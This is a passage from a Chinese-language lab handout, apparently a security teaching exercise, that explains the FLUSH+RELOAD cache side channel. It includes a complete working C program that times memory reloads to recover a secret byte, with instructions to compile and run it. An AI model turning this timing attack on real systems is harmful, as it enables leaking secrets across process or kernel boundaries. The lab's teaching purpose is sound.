- FLUSH:将整个数组从缓存中清除,以确保数组没有被缓存。
- 调用受害者函数,该函数根据秘密值访问数组中的一个元素。这将导致对应数组元素被缓存。
- RELOAD:重新加载整个数组并测量重新加载每个元素所需的时间。如果某个特定元素的加载时间比较快,则很可能这个元素已经存在于缓存中。这个元素必定是受害者函数所访问的那个元素,因此我们就可以确定秘密值是什么。
以下程序使用 FLUSH+RELOAD 技术来找出变量 secret 中包含的一个字节的秘密值。由于一个字节有 256 种可能的值,我们需要将每个值映射到数组中的一个元素上。一种简单的方法是定义一个具有 256 个元素的数组(即 array[256])。但是这并不起作用。缓存操作是一块一块进行的,而不是一个一个字节。如果 array[k] 被访问,则包含该元素的一个内存块将被缓存。因此, array[k] 的相邻元素也将被缓存,这让我们难以推断秘密值是什么。为了解决这个问题,我们创建一个大小为 256*4096 字节的数组。在我们的重新加载步骤中使用的每个元素是数组 array[k*4096]。因为 4096 大于典型的缓存块大小(64 字节),所以 array[i*4096] 和 array[j*4096] 不会同时在一个缓存块中。
由于 array[0*4096] 可能与相邻内存中的变量位于同一个缓存块内,它可能因为这些变量被缓存而意外地被缓存。因此,我们应该避免在 FLUSH+RELOAD 方法中使用 array[0*4096]}(对于其他索引 k , array[k*4096]} 并没有这个问题)。为了在程序中保持一致,我们对所有 k 值使用 array[k*4096 + DELTA],其中 DELTA 定义为一个常量 1024。
/* FlushReload.c */
#include <emmintrin.h>
#include <x86intrin.h>
uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
/* 设置缓存命中时间阈值 */
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
void flushSideChannel()
{
int i;
// 将数据写入数组,并将其存到 RAM 当中以避免写时复制
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
// 清除缓存中的数组值
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}
void victim()
{
temp = array[secret*4096 + DELTA];
}
void reloadSideChannel()
{
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD){
printf("array[%d*4096 + %d] 在缓存中。\n", i, DELTA);
printf("秘密值 = %d。\n",i);
}
}
}
int main(int argc, const char **argv)
{
flushSideChannel();
victim();
reloadSideChannel();
return (0);
}
请使用 gcc 编译上述程序并运行它。需要注意的是,该技术并不完全准确,你可能无法每次都能观察到预期的输出结果。你应该至少运行该程序 20 次,并统计能够正确获取秘密值的次数。你也可以根据任务 1 中得出的阈值调整 CACHE_HIT_THRESHOLD}(此代码设定为 80)。